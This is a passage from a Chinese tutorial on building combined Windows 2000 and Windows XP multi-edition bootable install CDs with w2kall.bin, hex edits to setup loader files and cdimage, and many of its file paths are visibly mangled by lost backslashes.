ootasrv下。
  要点:这是我们模拟软盘安装的关键,一定要连带system32目录(里面有两个文件)一起释放。
  从d:win2k
ootwproi386目录中复制bootfix.bin,将其分别粘贴到d:win2k
ootasrv、d:win2k
ootwpro和d:win2k
ootwsrv。该文件的作用就是光盘启动后显示一条信息“Press any key to boot from CD.”,并等待5秒钟,若没有按键,则从硬盘启动;否则从光盘启动。
  如果觉得5秒的延时太短,可以用UltraEdit编辑该文件,找到“Press any key to boot from CD.”后面的“49 00 12 00”,将“49”改为“AA”延时可达10秒,改为“FF”延时可达15秒。
  如果集成了Service Pack 3,需要将wpro、wsrv、asrv下面的文件用各自i386目录下面的文件替换(实际上只需要替换txtsetup.sif就行了),即将启动软盘组中的文件也替换为集成Service Pack 3后的文件。注意:一定不要替换system32中的文件,否则无法安装。
  要替换这一大堆文件比较繁琐,可以用两个办法:
  (1)xxcopy法。下载xxcopy(http://www.xxcopy.com/),执行下面的命令:
  xxcopy d:win2k
ootwproi386 d:win2k
ootwpro /U /E /YY
  xxcopy d:win2k
ootwsrvi386 d:win2k
ootwsrv /U /E /YY
  xxcopy d:win2k
ootasrvi386 d:win2k
ootasrv /U /E /YY
替换完成后删除wpro、wsrv、asrv下面的空目录(xxcopy替换的副产品)即可。
  (2)批处理替换法。以wpro目录为例:
  dir d:win2k
ootwpro*.* >1.bat
  move d:win2k
ootwpro1.bat d:win2k
ootwproi386
  用Ultraedit编辑1.bat,只保留文件名,每个文件名一行,修改每行的命令为
  copy [文件名] d:win2k
ootwpro
  存盘退出,在d:win2k
ootwproi386目录下运行1.bat,d:win2k
ootwproi386目录没有而d:win2k
ootwpro有的文件不替换。其他两个版本如法炮制。

  7. 修改setupldr.bin和txtsetup.sif

  用Ultraedit打开d:win2k
ootasrvsetupldr.bin,用ASCII方式替换“i386”为“asrv”,共3处;
  用Ultraedit打开d:win2k
ootwsrvsetupldr.bin,用ASCII方式替换“i386”为“wsrv”,共3处;
  用Ultraedit打开d:win2k
ootwprosetupldr.bin,用ASCII方式替换“i386”为“wpro”,共3处。
  存盘退出。
  用Ultraedit打开d:win2k
ootasrv xtsetup.sif,替换“SetupSourcePath = ""”为“SetupSourcePath = "asrv"”;
  用Ultraedit打开d:win2k
ootwsrv xtsetup.sif,替换“SetupSourcePath = ""”为“SetupSourcePath = "wsrv"”;
  用Ultraedit打开d:win2k
ootwpro xtsetup.sif,替换“SetupSourcePath = ""”为“SetupSourcePath = "wpro"”。
  存盘退出。
  要点:这两个文件中的路径告诉安装程序从何处复制文件,必须与目录结构相匹配。

  8. 启动菜单的修改

  Windows 2000启动引导文件w2kall.bin中已经内置了Windows 2000 3合1的启动菜单:
  [A] Windows 2000 Professional – English
  [B] Windows 2000 Server – English
  [C] Windows 2000 Advanced Server – English
  Choose an option and press [Enter]:
  所以我们不需再单独配置启动菜单。若需要修改该菜单,只需用UltraEdit打开w2kall.bin,找到相应的ASCII字符串,并修改为合适的字符串。例如,去掉所有的“ – English”。

  9. 配置完毕的目录结构及文件列表

  d:win2kcdimage.exe
  d:win2kw2kall.bin
  d:win2k
ootcdrom_ia.5
  d:win2k
ootcdrom_ip.5
  d:win2k
ootcdrom_is.5
  d:win2k
ootcdrom_nt.5
  d:win2k
ootcdromsp3.tst
  d:win2k
ootasrv1394bus.sy_
  d:win2k
ootasrvabp480n5.sy_
  d:win2k
ootasrvacpi.sy_
  d:win2k
ootasrvacpiec.sy_
  d:win2k
ootasrvadpu160m.sy_
  d:win2k
ootasrvaha154x.sy_
  d:win2k
ootasrvaic116x.sy_
  d:win2k
ootasrvaic78u2.sy_
  d:win2k
ootasrvaic78xx.sy_
  d:win2k
ootasrvamsint.sy_
  d:win2k
ootasrvasc.sy_
  d:win2k
ootasrvasc3350p.sy_
  d:win2k
ootasrvasc3550.sy_
  d:win2k
ootasrvatapi.sy_
  d:win2k
ootasrvautorun.inf
  d:win2k
ootasrviosinfo.inf
  d:win2k
ootasrvootfix.bin
  d:win2k
ootasrvootfont.bin
  d:win2k
ootasrvootvid.dl_
  d:win2k
ootasrvuslogic.sy_
  d:win2k
ootasrvc_936.nl_
  d:win2k
ootasrvcd20xrnt.sy_
  d:win2k
ootasrvcdfs.sy_
  d:win2k
ootasrvcdrom.sy_
  d:win2k
ootasrvcdrom_ia.5
  d:win2k
ootasrvcdrom_nt.5
  d:win2k
ootasrvcdromsp3.tst
  d:win2k
ootasrvclass2.sy_
  d:win2k
ootasrvclasspnp.sy_
  d:win2k
ootasrvcpqarray.sy_
  d:win2k
ootasrvcpqarry2.sy_
  d:win2k
ootasrvcpqfcalm.sy_
  d:win2k
ootasrvcpqfws2e.sy_
  d:win2k
ootasrvdac960nt.sy_
  d:win2k
ootasrvdisk.sy_
  d:win2k
ootasrvdisk101
  d:win2k
ootasrvdisk102
  d:win2k
ootasrvdisk103
  d:win2k
ootasrvdisk104
  d:win2k
ootasrvdmboot.sy_
  d:win2k
ootasrvdmio.sy_
  d:win2k
ootasrvdmload.sy_
  d:win2k
ootasrvfastfat.sy_
  d:win2k
ootasrvfd16_700.sy_
  d:win2k
ootasrvfdc.sy_
  d:win2k
ootasrvfireport.sy_
  d:win2k
ootasrvflashpnt.sy_
  d:win2k
ootasrvflpydisk.sy_
  d:win2k
ootasrvftdisk.sy_
  d:win2k
ootasrvhal.dl_
  d:win2k
ootasrvhalaacpi.dl_
  d:win2k
ootasrvhalacpi.dl_
  d:win2k
ootasrvhalapic.dl_
  d:win2k
ootasrvhidclass.sy_
  d:win2k
ootasrvhidparse.sy_
  d:win2k
ootasrvhidusb.sy_
  d:win2k
ootasrvi8042prt.sy_
  d:win2k
ootasrvini910u.sy_
  d:win2k
ootasrvintelide.sy_
  d:win2k
ootasrvipsraidn.sy_
  d:win2k
ootasrvisapnp.sy_
  d:win2k
ootasrvkbdclass.sy_
  d:win2k
ootasrvkbdhid.sy_
  d:win2k
ootasrvkbdus.dll
  d:win2k
ootasrvl_intl.nl_
  d:win2k
ootasrvlbrtfdc.sy_
  d:win2k
ootasrvlp6nds35.sy_
  d:win2k
ootasrvmountmgr.sy_
  d:win2k
ootasrvmraid35x.sy_
  d:win2k
ootasrv
crc710.sy_
  d:win2k
ootasrv
tdetect.com
  d:win2k
ootasrv
tfs.sy_
  d:win2k
ootasrv
tkrnlmp.ex_
  d:win2k
ootasrvohci1394.sy_
  d:win2k
ootasrvopenhci.sy_
  d:win2k
ootasrvpartmgr.sy_
  d:win2k
ootasrvpci.sy_
  d:win2k
ootasrvpciide.sy_
  d:win2k
ootasrvpciidex.sy_
  d:win2k
ootasrvpcmcia.sy_
  d:win2k
ootasrvql1080.sy_
  d:win2k
ootasrvql10wnt.sy_
  d:win2k
ootasrvql1240.sy_
  d:win2k
ootasrvql2100.sy_
  d:win2k
ootasrv
ead1st.txt
  d:win2k
ootasrv
eadme.doc
  d:win2k
ootasrvsbp2port.sy_
  d:win2k
ootasrvscsiport.sy_
  d:win2k
ootasrvserenum.sy_
  d:win2k
ootasrvserial.sy_
  d:win2k
ootasrvsetup.exe
  d:win2k
ootasrvsetupdd.sy_
  d:win2k
ootasrvsetupldr.bin
  d:win2k
ootasrvsetupreg.hiv
  d:win2k
ootasrvsfloppy.sy_
  d:win2k
ootasrvsparrow.sy_
  d:win2k
ootasrvspcmdcon.sys
  d:win2k
ootasrvspddlang.sy_
  d:win2k
ootasrvspnotes.htm
  d:win2k
ootasrvsym_hi.sy_
  d:win2k
ootasrvsymc810.sy_
  d:win2k
ootasrvsymc8xx.sy_
  d:win2k
ootasrv ffsport.sy_
  d:win2k
ootasrv xtsetup.sif
  d:win2k
ootasrvuhcd.sy_
  d:win2k
ootasrvultra66.sy_
  d:win2k
ootasrvusbd.sy_
  d:win2k
ootasrvusbhub.sy_
  d:win2k
ootasrvusbstor.sy_
  d:win2k
ootasrvvga.sy_
  d:win2k
ootasrvvgaoem.fo_
  d:win2k
ootasrvvideoprt.sy_
  d:win2k
ootasrvwmilib.sy_
  d:win2k
ootasrvootdisk……
  d:win2k
ootasrvclients……
  d:win2k
ootasrvi386……
  d:win2k
ootasrvprinters……
  d:win2k
ootasrvsetuptxt……
  d:win2k
ootasrvsupport……
  d:win2k
ootasrvsystem32
tdll.dll
  d:win2k
ootasrvsystem32smss.exe
  d:win2k
ootasrvvalueadd……
  d:win2k
ootwpro1394bus.sy_
  d:win2k
ootwproabp480n5.sy_
  d:win2k
ootwproacpi.sy_
  d:win2k
ootwproacpiec.sy_
  d:win2k
ootwproadpu160m.sy_
  d:win2k
ootwproaha154x.sy_
  d:win2k
ootwproaic116x.sy_
  d:win2k
ootwproaic78u2.sy_
  d:win2k
ootwproaic78xx.sy_
  d:win2k
ootwproamsint.sy_
  d:win2k
ootwproasc.sy_
  d:win2k
ootwproasc3350p.sy_
  d:win2k
ootwproasc3550.sy_
  d:win2k
ootwproatapi.sy_
  d:win2k
ootwproautorun.inf
  d:win2k
ootwproiosinfo.inf
  d:win2k
ootwproootfix.bin
  d:win2k
ootwproootfont.bin
  d:win2k
ootwproootvid.dl_
  d:win2k
ootwprouslogic.sy_
  d:win2k
ootwproc_936.nl_
  d:win2k
ootwprocd20xrnt.sy_
  d:win2k
ootwprocdfs.sy_
  d:win2k
ootwprocdrom.sy_
  d:win2k
ootwprocdrom_ip.5
  d:win2k
ootwprocdrom_nt.5
  d:win2k
ootwprocdromsp3.tst
  d:win2k
ootwproclass2.sy_
  d:win2k
ootwproclasspnp.sy_
  d:win2k
ootwprocpqarray.sy_
  d:win2k
ootwprocpqarry2.sy_
  d:win2k
ootwprocpqfcalm.sy_
  d:win2k
ootwprocpqfws2e.sy_
  d:win2k
ootwprodac960nt.sy_
  d:win2k
ootwprodisk.sy_
  d:win2k
ootwprodisk101
  d:win2k
ootwprodisk102
  d:win2k
ootwprodisk103
  d:win2k
ootwprodisk104
  d:win2k
ootwprodmboot.sy_
  d:win2k
ootwprodmio.sy_
  d:win2k
ootwprodmload.sy_
  d:win2k
ootwprofastfat.sy_
  d:win2k
ootwprofd16_700.sy_
  d:win2k
ootwprofdc.sy_
  d:win2k
ootwprofireport.sy_
  d:win2k
ootwproflashpnt.sy_
  d:win2k
ootwproflpydisk.sy_
  d:win2k
ootwproftdisk.sy_
  d:win2k
ootwprohal.dl_
  d:win2k
ootwprohalaacpi.dl_
  d:win2k
ootwprohalacpi.dl_
  d:win2k
ootwprohalapic.dl_
  d:win2k
ootwprohidclass.sy_
  d:win2k
ootwprohidparse.sy_
  d:win2k
ootwprohidusb.sy_
  d:win2k
ootwproi8042prt.sy_
  d:win2k
ootwproini910u.sy_
  d:win2k
ootwprointelide.sy_
  d:win2k
ootwproipsraidn.sy_
  d:win2k
ootwproisapnp.sy_
  d:win2k
ootwprokbdclass.sy_
  d:win2k
ootwprokbdhid.sy_
  d:win2k
ootwprokbdus.dll
  d:win2k
ootwprol_intl.nl_
  d:win2k
ootwprolbrtfdc.sy_
  d:win2k
ootwprolp6nds35.sy_
  d:win2k
ootwpromountmgr.sy_
  d:win2k
ootwpromraid35x.sy_
  d:win2k
ootwpro
crc710.sy_
  d:win2k
ootwpro
tdetect.com
  d:win2k
ootwpro
tfs.sy_
  d:win2k
ootwpro
tkrnlmp.ex_
  d:win2k
ootwproohci1394.sy_
  d:win2k
ootwproopenhci.sy_
  d:win2k
ootwpropartmgr.sy_
  d:win2k
ootwpropci.sy_
  d:win2k
ootwpropciide.sy_
  d:win2k
ootwpropciidex.sy_
  d:win2k
ootwpropcmcia.sy_
  d:win2k
ootwproql1080.sy_
  d:win2k
ootwproql10wnt.sy_
  d:win2k
ootwproql1240.sy_
  d:win2k
ootwproql2100.sy_
  d:win2k
ootwpro
ead1st.txt
  d:win2k
ootwpro
eadme.doc
  d:win2k
ootwprosbp2port.sy_
  d:win2k
ootwproscsiport.sy_
  d:win2k
ootwproserenum.sy_
  d:win2k
ootwproserial.sy_
  d:win2k
ootwprosetup.exe
  d:win2k
ootwprosetupdd.sy_
  d:win2k
ootwprosetupldr.bin
  d:win2k
ootwprosetupreg.hiv
  d:win2k
ootwprosfloppy.sy_
  d:win2k
ootwprosparrow.sy_
  d:win2k
ootwprospcmdcon.sys
  d:win2k
ootwprospddlang.sy_
  d:win2k
ootwprospnotes.htm
  d:win2k
ootwprosym_hi.sy_
  d:win2k
ootwprosymc810.sy_
  d:win2k
ootwprosymc8xx.sy_
  d:win2k
ootwpro ffsport.sy_
  d:win2k
ootwpro xtsetup.sif
  d:win2k
ootwprouhcd.sy_
  d:win2k
ootwproultra66.sy_
  d:win2k
ootwprousbd.sy_
  d:win2k
ootwprousbhub.sy_
  d:win2k
ootwprousbstor.sy_
  d:win2k
ootwprovga.sy_
  d:win2k
ootwprovgaoem.fo_
  d:win2k
ootwprovideoprt.sy_
  d:win2k
ootwprowmilib.sy_
  d:win2k
ootwproootdisk……
  d:win2k
ootwprodiscover……
  d:win2k
ootwproi386……
  d:win2k
ootwprosetuptxt……
  d:win2k
ootwprosupport……
  d:win2k
ootwprosystem32
tdll.dll
  d:win2k
ootwprosystem32smss.exe
  d:win2k
ootwprovalueadd……
  d:win2k
ootwsrv1394bus.sy_
  d:win2k
ootwsrvabp480n5.sy_
  d:win2k
ootwsrvacpi.sy_
  d:win2k
ootwsrvacpiec.sy_
  d:win2k
ootwsrvadpu160m.sy_
  d:win2k
ootwsrvaha154x.sy_
  d:win2k
ootwsrvaic116x.sy_
  d:win2k
ootwsrvaic78u2.sy_
  d:win2k
ootwsrvaic78xx.sy_
  d:win2k
ootwsrvamsint.sy_
  d:win2k
ootwsrvasc.sy_
  d:win2k
ootwsrvasc3350p.sy_
  d:win2k
ootwsrvasc3550.sy_
  d:win2k
ootwsrvatapi.sy_
  d:win2k
ootwsrvautorun.inf
  d:win2k
ootwsrviosinfo.inf
  d:win2k
ootwsrvootfix.bin
  d:win2k
ootwsrvootfont.bin
  d:win2k
ootwsrvootvid.dl_
  d:win2k
ootwsrvuslogic.sy_
  d:win2k
ootwsrvc_936.nl_
  d:win2k
ootwsrvcd20xrnt.sy_
  d:win2k
ootwsrvcdfs.sy_
  d:win2k
ootwsrvcdrom.sy_
  d:win2k
ootwsrvcdrom_is.5
  d:win2k
ootwsrvcdrom_nt.5
  d:win2k
ootwsrvcdromsp3.tst
  d:win2k
ootwsrvclass2.sy_
  d:win2k
ootwsrvclasspnp.sy_
  d:win2k
ootwsrvcpqarray.sy_
  d:win2k
ootwsrvcpqarry2.sy_
  d:win2k
ootwsrvcpqfcalm.sy_
  d:win2k
ootwsrvcpqfws2e.sy_
  d:win2k
ootwsrvdac960nt.sy_
  d:win2k
ootwsrvdisk.sy_
  d:win2k
ootwsrvdisk101
  d:win2k
ootwsrvdisk102
  d:win2k
ootwsrvdisk103
  d:win2k
ootwsrvdisk104
  d:win2k
ootwsrvdmboot.sy_
  d:win2k
ootwsrvdmio.sy_
  d:win2k
ootwsrvdmload.sy_
  d:win2k
ootwsrvfastfat.sy_
  d:win2k
ootwsrvfd16_700.sy_
  d:win2k
ootwsrvfdc.sy_
  d:win2k
ootwsrvfireport.sy_
  d:win2k
ootwsrvflashpnt.sy_
  d:win2k
ootwsrvflpydisk.sy_
  d:win2k
ootwsrvftdisk.sy_
  d:win2k
ootwsrvhal.dl_
  d:win2k
ootwsrvhalaacpi.dl_
  d:win2k
ootwsrvhalacpi.dl_
  d:win2k
ootwsrvhalapic.dl_
  d:win2k
ootwsrvhidclass.sy_
  d:win2k
ootwsrvhidparse.sy_
  d:win2k
ootwsrvhidusb.sy_
  d:win2k
ootwsrvi8042prt.sy_
  d:win2k
ootwsrvini910u.sy_
  d:win2k
ootwsrvintelide.sy_
  d:win2k
ootwsrvipsraidn.sy_
  d:win2k
ootwsrvisapnp.sy_
  d:win2k
ootwsrvkbdclass.sy_
  d:win2k
ootwsrvkbdhid.sy_
  d:win2k
ootwsrvkbdus.dll
  d:win2k
ootwsrvl_intl.nl_
  d:win2k
ootwsrvlbrtfdc.sy_
  d:win2k
ootwsrvlp6nds35.sy_
  d:win2k
ootwsrvmountmgr.sy_
  d:win2k
ootwsrvmraid35x.sy_
  d:win2k
ootwsrv
crc710.sy_
  d:win2k
ootwsrv
tdetect.com
  d:win2k
ootwsrv
tfs.sy_
  d:win2k
ootwsrv
tkrnlmp.ex_
  d:win2k
ootwsrvohci1394.sy_
  d:win2k
ootwsrvopenhci.sy_
  d:win2k
ootwsrvpartmgr.sy_
  d:win2k
ootwsrvpci.sy_
  d:win2k
ootwsrvpciide.sy_
  d:win2k
ootwsrvpciidex.sy_
  d:win2k
ootwsrvpcmcia.sy_
  d:win2k
ootwsrvql1080.sy_
  d:win2k
ootwsrvql10wnt.sy_
  d:win2k
ootwsrvql1240.sy_
  d:win2k
ootwsrvql2100.sy_
  d:win2k
ootwsrv
ead1st.txt
  d:win2k
ootwsrv
eadme.doc
  d:win2k
ootwsrvsbp2port.sy_
  d:win2k
ootwsrvscsiport.sy_
  d:win2k
ootwsrvserenum.sy_
  d:win2k
ootwsrvserial.sy_
  d:win2k
ootwsrvsetup.exe
  d:win2k
ootwsrvsetupdd.sy_
  d:win2k
ootwsrvsetupldr.bin
  d:win2k
ootwsrvsetupreg.hiv
  d:win2k
ootwsrvsfloppy.sy_
  d:win2k
ootwsrvsparrow.sy_
  d:win2k
ootwsrvspcmdcon.sys
  d:win2k
ootwsrvspddlang.sy_
  d:win2k
ootwsrvspnotes.htm
  d:win2k
ootwsrvsym_hi.sy_
  d:win2k
ootwsrvsymc810.sy_
  d:win2k
ootwsrvsymc8xx.sy_
  d:win2k
ootwsrv ffsport.sy_
  d:win2k
ootwsrv xtsetup.sif
  d:win2k
ootwsrvuhcd.sy_
  d:win2k
ootwsrvultra66.sy_
  d:win2k
ootwsrvusbd.sy_
  d:win2k
ootwsrvusbhub.sy_
  d:win2k
ootwsrvusbstor.sy_
  d:win2k
ootwsrvvga.sy_
  d:win2k
ootwsrvvgaoem.fo_
  d:win2k
ootwsrvvideoprt.sy_
  d:win2k
ootwsrvwmilib.sy_
  d:win2k
ootwsrvootdisk……
  d:win2k
ootwsrvclients……
  d:win2k
ootwsrvi386……
  d:win2k
ootwsrvprinters……
  d:win2k
ootwsrvsetuptxt……
  d:win2k
ootwsrvsupport……
  d:win2k
ootwsrvsystem32
tdll.dll
  d:win2k
ootwsrvsystem32smss.exe
  d:win2k
ootwsrvvalueadd……

  10. 制作ISO文件

  CDImage程序加“-o”参数优化后生成的镜像文件约为502 MB,我们假设将它存放在f:盘的根目录下,命令行命令如下:
  d:win2kcdimage -lWin2K-3in1 -t01/10/2000,12:00:00 -g -h -n -o -m -bd:win2kw2kall.bin d:win2k
oot f:w2k-3in1.iso
  上述命令中各参数含义分别为:
  -l:设置光盘卷标。此处为“Win2K-3in1”。
  -t:设置光盘上所有文件的生成日期。此处为“2000年1月10日格林威治时间(GMT)上午12点整”。
  -g:转换本地时间与格林威治时间(GMT)。但如果是在Windows XP系统下,该参数似乎不起作用,“-t”参数指定的是GMT时间,而文件的生成时间是“-t”指定的时间加上时区转换后的本地时间。如,上例中的文件生成本地时间是“20:00:00”,即GMT+8=北京时间。
  -h:包含隐藏的目录和文件。
  -n:允许长文件名。
  -o:优化相同的文件,最重要的参数,这是我们将3个版本的1.24 GB文件压缩到502 MB的关键。
  -m:允许生成的ISO文件超过640 MB。
  -b:光盘启动引导程序,此处我们使用了w2kall.bin。
  d:win2k
oot:源文件路径,将作为光盘的根目录。
  f:w2k-3in1.iso:最后生成的ISO文件,我们要的就是它。
  要点:cdimage /?可显示所有选项。CDImagegui提供了一个图形界面,使用更直观,功能是一样的。

  11. 测试ISO文件

  用VMware加载w2k-3in1.iso文件,设置第1启动设备为光驱。从光盘启动后,系统首先显示信息“Press any key to boot from CD.”,按任意键后,出现[A]、[B]、[C]3个选项菜单,键入A、B或C键然后回车,可启动相应安装版本,此后的安装与原版光盘的安装一致。需要逐个安装,以测试各个版本的完整性。

  12. 增加特殊文件

  可以根据个人的爱好,在光盘上再增加一些特殊文件,例如新版IE、DirectX及一些专用的驱动程序等,只需将其复制到d:win2k
oot目录下,并重新制作ISO文件。

  13.烧录光盘

  ISO镜像文件测试无误后,即可用自己熟悉的烧录软件软件(例如Nero)将其烧录到光盘。 这样,一张可启动的Windows 2000 3合1光盘就制作完成了。当然,最好再用光盘正式地安装一遍,因为VMware测试与光盘测试是不完全一样的。

三、Windows XP 2合1启动光盘的制作

  Windows XP与Windows 2000(当然还包括Windows NT 4.0)同属于Windows NT系列,其启动过程是非常相似的。虽然Bart开发w2kall.bin的初衷是制作3合1的Windows 2000,但既然它能够引导Windows 2000,那么它能否引导Windows XP呢?绝对可以。虽然与制作Windows 2000 3合1的过程类似,但其中有一些明显的不同,而且我们还需要对w2kall.bin进行一些适当的改造,希望朋友们多加注意。下面我介绍Windows XP 2合1启动光盘的制作过程。

  1. 所需工具

  (1)w2kall.bin
  必须。Windows 2000/XP光盘启动引导文件。
  下载地址:http://www.tech-hints.com/files/w2kall.zip
  (2)CDImage.exe(命令行界面)或CDImagegui.exe(图形界面)
  必须。可启动光盘镜像制作工具,生成标准的ISO文件,同时具有优化光盘上文件的功能,使相同的文件只刻录一个,其他的文件都连接到该文件。
  下载地址:http://www.tech-hints.com/prog/cdimage.zip,http://www.tech-hints.com/prog/cdimagegui.zip
  (3)WinZip、WinImg
  可选。解Windows XP安装软盘组的img文件。可替换方法是制作6张安装软盘,然后将6张软盘上的全部文件复制到硬盘。
  下载地址:http://www.winimage.com/winimage/winima60.zip,http://www.winzip.com/getsite.cgi?winzip81.exe
  (4)UltraEdit
  必须。十六进制编辑器,修改启动引导文件中的显示文字,并修改Windows XP不同版本的存放路径。
  下载地址:ftp://ultraedit.com/uedit32.zip
  (5)Windows XP安装软盘组
  必须。用软盘引导机器,加载必要的系统文件及基本驱动程序,然后从光盘继续安装。
  专业版及家庭版的安装软盘是不同的,二者不能混用。XP的安装软盘组必须从微软网站下载:
  简体中文专业版:winxp_cn_pro_bf.exe
  下载地址:http://www.microsoft.com/downloads/release.asp?releaseid=33494   简体中文家庭版:winxp_cn_hom_bf.exe
  下载地址:http://www.microsoft.com/downloads/release.asp?releaseid=33493
  (6)VMware(或Virtual PC)和Nero
  可选。测试制作完成的3合1镜像文件并烧录光盘。

  2. 目录及文件结构

  保证硬盘上有足够空余空间(假设将文件存放在硬盘d:,全部2个版本的原始文件约占用空间为1.02 GB,生成的镜像文件约为558 MB),建立如下目录结构,并复制文件w2kall.bin、cdimage.exe到相应位置:
  d:winxpw2kall.bin
  d:winxpcdimage.exe
  d:winxp
oothome
  d:winxp
ootwpro
  其中,d:winxp
oot是Windows XP 2合1光盘的根目录,d:winxp
oothome用于存放Windows XP家庭版文件,d:winxp
ootwpro用于存放Windows XP专业版文件。
  要点:“home”和“wpro”的目录名称需要固定在w2kall.bin中,只能是4个字符长度。若需要存放在其他目录下,必须用UltraEdit修改w2kall.bin文件,找到“WPROWSRVASRV”,将其替换为其他名称,并相应修改目录结构。此外,还必须在后面的配置中进行相应修改。

  3. 文件复制

  将Windows XP家庭版光盘上的文件全部复制到home目录,将Windows XP专业版光盘上的文件全部复制到wpro目录。
  必须确保复制了全部文件和子目录,包括具有系统和隐藏属性的。
  复制完毕后,清除d:winxp
oot下全部文件和子目录的系统、隐藏和只读属性。
  将d:winxp
oothome目录下的win51和win51ic复制到d:winxp
oot,将d:winxp
ootwpro目录下的win51ip复制到d:winxp
oot。
  要点:d:winxp
oot下面必须有win51、win51ic和win51ip文件,这是我们欺骗安装程序的标志:这张光盘是Windows XP原始安装盘。

  4. 配置安装程序

  将下载到的winxp_cn_pro_bf.exe文件用WinZip释放到硬盘任一目录,得到6个img文件。用WinImg将6个img文件释放到目录d:winxp
ootwpro。
  将下载到的winxp_cn_hom_bf.exe文件用WinZip释放到硬盘任一目录,得到6个img文件。用WinImg将6个img文件释放到目录d:winxp
oothome。
  要点:这是我们模拟软盘安装的关键,一定要连带system32目录(里面有两个文件)一起释放。
  从d:winxp
ootwproi386目录中复制bootfix.bin,将其分别粘贴到d:winxp
oothome和d:winxp
ootwpro。该文件的作用就是光盘启动后显示一条信息“Press any key to boot from CD.”,并等待5秒钟,若没有按键,则从硬盘启动;否则从光盘启动。
  如果觉得5秒的延时太短,可以用Ultraedit编辑该文件,找到“Press any key to boot from CD.”后面的“49 00 12 00”,将“49”改为“AA”延时可达10秒,改为“FF”延时可达15秒。

  5. 修改w2kall.bin

  w2kall.bin是专门针对Windows 2000 3合1启动光盘而开发的,要使它适用于Windows XP 2合1光盘的启动引导,我们必须对其进行一些适当的修改。
  用UltraEdit打开d:win2k
ootw2kall.bin,找到启动菜单:

  [A] Windows 2000 Professional – English
  [B] Windows 2000 Server – English
  [C] Windows 2000 Advanced Server – English

  Choose an option and press [Enter]:

  将其修改为:

  [A] Windows XP Professional
  [B] Windows XP Home
  ==================================

  Choose an option and press [Enter]:

  再查找“WPROWSRVASRV”,将其替换为找到“WPROHOMEHOME”。
  启动菜单接受4个键:A、B、C键和回车键,若用户按了A和B键,将进行相应的安装,若用户按了C键,将安装家庭版,且没有提示。这样的处理比较简单,高手们可以考虑屏蔽C键。
  要点:“WPROHOMEHOME”是光盘安装路径,一定要与目录结构相匹配。最后一个“HOME”对应C键,若用户按了C键后,应使其能够找到相应目录,或在启动菜单中干脆注明“[B/C] Windows XP Home”。

  6. 修改setupldr.bin和txtsetup.si_

  用UltraEdit打开d:winxp
oothomesetupldr.bin,用ASCII方式替换“i386”为“home”,共4处。
  用UltraEdit打开d:winxp
ootwprosetupldr.bin,用ASCII方式替换“i386”为“wpro”,共4处。
  存盘退出。
  将文件d:winxp
oothome xtsetup.si_复制到d:,在d:下运行命令行命令:
  expand txtsetup.si_ txtsetup.sif
  用UltraEdit打开d: xtsetup.sif,替换“SetupSourcePath = ""”为“SetupSourcePath = "home"”;
  存盘退出。
  将txtsetup.sif改名为txtsetup.si_,覆盖掉d:winxp
oothome xtsetup.si_。
  将文件d:winxp
ootwpro xtsetup.si_复制到d:,在d:下运行命令行命令:
  expand txtsetup.si_ txtsetup.sif
  用UltraEdit打开d: xtsetup.sif,替换“SetupSourcePath = ""”为“SetupSourcePath = "wpro"”;
  存盘退出。
  将txtsetup.sif改名为txtsetup.si_,覆盖掉d:winxp
ootwpro xtsetup.si_
  简单办法:将i386中的txtsetup.sif复制到各自的上层目录,删除掉txtsetup.si_,并修改txtsetup.sif,效果一样。
  要点:这两个文件中的路径安装程序告诉安装程序从何处复制文件,必须与目录结构相匹配。

  7. 配置完毕的目录结构及文件列表

  d:winxpcdimage.exe
  d:winxpw2kall.bin
  d:winxp
ootwin51
  d:winxp
ootwin51ic
  d:winxp
ootwin51ip
  d:winxp
oothome1394bus.sy_
  d:winxp
oothome1394vdbg.sy_
  d:winxp
oothomeabp480n5.sy_
  d:winxp
oothomeacpi.sy_
  d:winxp
oothomeacpiec.sy_
  d:winxp
oothomeadpu160m.sy_
  d:winxp
oothomeaha154x.sy_
  d:winxp
oothomeaic78u2.sy_
  d:winxp
oothomeaic78xx.sy_
  d:winxp
oothomealiide.sy_
  d:winxp
oothomeamsint.sy_
  d:winxp
oothomeasc.sy_
  d:winxp
oothomeasc3350p.sy_
  d:winxp
oothomeasc3550.sy_
  d:winxp
oothomeatapi.sy_
  d:winxp
oothomeautorun.inf
  d:winxp
oothomeiosinfo.inf
  d:winxp
oothomeootfix.bin
  d:winxp
oothomeootfont.bin
  d:winxp
oothomeootvid.dl_
  d:winxp
oothomec_936.nl_
  d:winxp
oothomecbidf2k.sy_
  d:winxp
oothomecd20xrnt.sy_
  d:winxp
oothomecdfs.sy_
  d:winxp
oothomecdrom.sy_
  d:winxp
oothomeclasspnp.sy_
  d:winxp
oothomecmdide.sy_
  d:winxp
oothomecpqarray.sy_
  d:winxp
oothomedac2w2k.sy_
  d:winxp
oothomedac960nt.sy_
  d:winxp
oothomedisk.sy_
  d:winxp
oothomedisk101
  d:winxp
oothomedisk102
  d:winxp
oothomedisk103
  d:winxp
oothomedisk104
  d:winxp
oothomedisk105
  d:winxp
oothomedisk106
  d:winxp
oothomedmboot.sy_
  d:winxp
oothomedmio.sy_
  d:winxp
oothomedmload.sy_
  d:winxp
oothomedpti2o.sy_
  d:winxp
oothomedrvmain.sdb
  d:winxp
oothomefastfat.sy_
  d:winxp
oothomefdc.sy_
  d:winxp
oothomeflpydisk.sy_
  d:winxp
oothomeftdisk.sy_
  d:winxp
oothomehal.dl_
  d:winxp
oothomehalaacpi.dl_
  d:winxp
oothomehalacpi.dl_
  d:winxp
oothomehalapic.dl_
  d:winxp
oothomehalmacpi.dl_
  d:winxp
oothomehalmps.dl_
  d:winxp
oothomehalsp.dl_
  d:winxp
oothomehidclass.sy_
  d:winxp
oothomehidparse.sy_
  d:winxp
oothomehidusb.sy_
  d:winxp
oothomehpn.sy_
  d:winxp
oothomehpt3xx.sy_
  d:winxp
oothomei2omgmt.sy_
  d:winxp
oothomei2omp.sy_
  d:winxp
oothomei8042prt.sy_
  d:winxp
oothomeini910u.sy_
  d:winxp
oothomeintelide.sy_
  d:winxp
oothomeisapnp.sy_
  d:winxp
oothomekbda1.dll
  d:winxp
oothomekbda2.dll
  d:winxp
oothomekbda3.dll
  d:winxp
oothomekbdal.dll
  d:winxp
oothomekbdarme.dll
  d:winxp
oothomekbdarmw.dll
  d:winxp
oothomekbdaze.dll
  d:winxp
oothomekbdazel.dll
  d:winxp
oothomekbdbe.dll
  d:winxp
oothomekbdblr.dll
  d:winxp
oothomekbdbr.dll
  d:winxp
oothomekbdbu.dll
  d:winxp
oothomekbdca.dll
  d:winxp
oothomekbdclass.sy_
  d:winxp
oothomekbdcr.dll
  d:winxp
oothomekbdcz.dll
  d:winxp
oothomekbdcz1.dll
